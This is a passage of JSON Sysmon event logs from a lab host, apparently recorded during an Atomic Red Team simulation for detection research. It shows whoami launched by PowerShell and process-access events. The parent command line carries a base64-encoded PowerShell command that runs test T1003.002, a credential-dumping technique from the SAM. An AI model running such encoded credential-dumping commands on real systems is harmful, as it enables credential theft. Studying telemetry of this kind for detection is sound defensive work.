11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5271,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.350\r\nProcessGuid: {90617006-416F-5F2D-0000-0010A8410800}\r\nProcessId: 4596\r\nImage: C:\\Windows\\System32\\whoami.exe\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: whoami - displays logged on user information\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: whoami.exe\r\nCommandLine: \"C:\\Windows\\system32\\whoami.exe\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-416D-5F2D-0000-00205A000800}\r\nLogonId: 0x8005A\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=AA1E17EA3DB5CD9D8BC061CAEC74C6E8,SHA256=8ECFFCCE38D4EE87ABAEE6CBE843D94D4F8FB98FAB3C356C7F6B70E60B10F88A,IMPHASH=E24E330FA9663CE77F2031CACAEB3DF9\r\nParentProcessGuid: {90617006-416E-5F2D-0000-001033270800}\r\nParentProcessId: 4384\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.350","ProcessGuid":"{90617006-416F-5F2D-0000-0010A8410800}","Image":"C:\\Windows\\System32\\whoami.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"whoami - displays logged on user information","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"whoami.exe","CommandLine":"\"C:\\Windows\\system32\\whoami.exe\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-416D-5F2D-0000-00205A000800}","LogonId":"0x8005a","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=AA1E17EA3DB5CD9D8BC061CAEC74C6E8,SHA256=8ECFFCCE38D4EE87ABAEE6CBE843D94D4F8FB98FAB3C356C7F6B70E60B10F88A,IMPHASH=E24E330FA9663CE77F2031CACAEB3DF9","ParentProcessGuid":"{90617006-416E-5F2D-0000-001033270800}","ParentProcessId":"4384","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbwBuAGYAaQByAG0AOgAkAGYAYQBsAHMAZQAgAC0AVABpAG0AZQBvAHUAdABTAGUAYwBvAG4AZABzACAAMwAwADAAIAAtAEUAeABlAGMAdQB0AGkAbwBuAEwAbwBnAFAAYQB0AGgAIABDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAYQB0AGMAXwBlAHgAZQBjAHUAdABpAG8AbgAuAGMAcwB2AA==","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5272,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-416E-5F2D-0000-001033270800}\r\nSourceProcessId: 4384\r\nSourceThreadId: 4408\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-0010C6750600}\r\nTargetProcessId: 4596\r\nTargetImage: C:\\Windows\\system32\\whoami.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9e2ee2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83fbc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83c8d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9350a2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea2cf2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be861e8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7816d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be846a0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be8423c(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83fbc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83c8d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9350a2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-416E-5F2D-0000-001033270800}","SourceProcessId":"4384","SourceThreadId":"4408","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-0010C6750600}","TargetProcessId":"4596","TargetImage":"C:\\Windows\\system32\\whoami.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9e2ee2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83fbc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83c8d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9350a2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3bea2cf2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be86357(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be861e8(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be7816d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be846a0(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be8423c(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83fbc(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be83c8d(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3c9350a2(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+3be44823(wow64)","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5273,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-413F-5F2D-0000-0010C6750600}\r\nTargetProcessId: 4596\r\nTargetImage: C:\\Windows\\system32\\whoami.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-413F-5F2D-0000-0010C6750600}","TargetProcessId":"4596","TargetImage":"C:\\Windows\\system32\\whoami.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5274,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5275,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5276,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:31.338","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:31","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:31","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5277,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:31.338\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 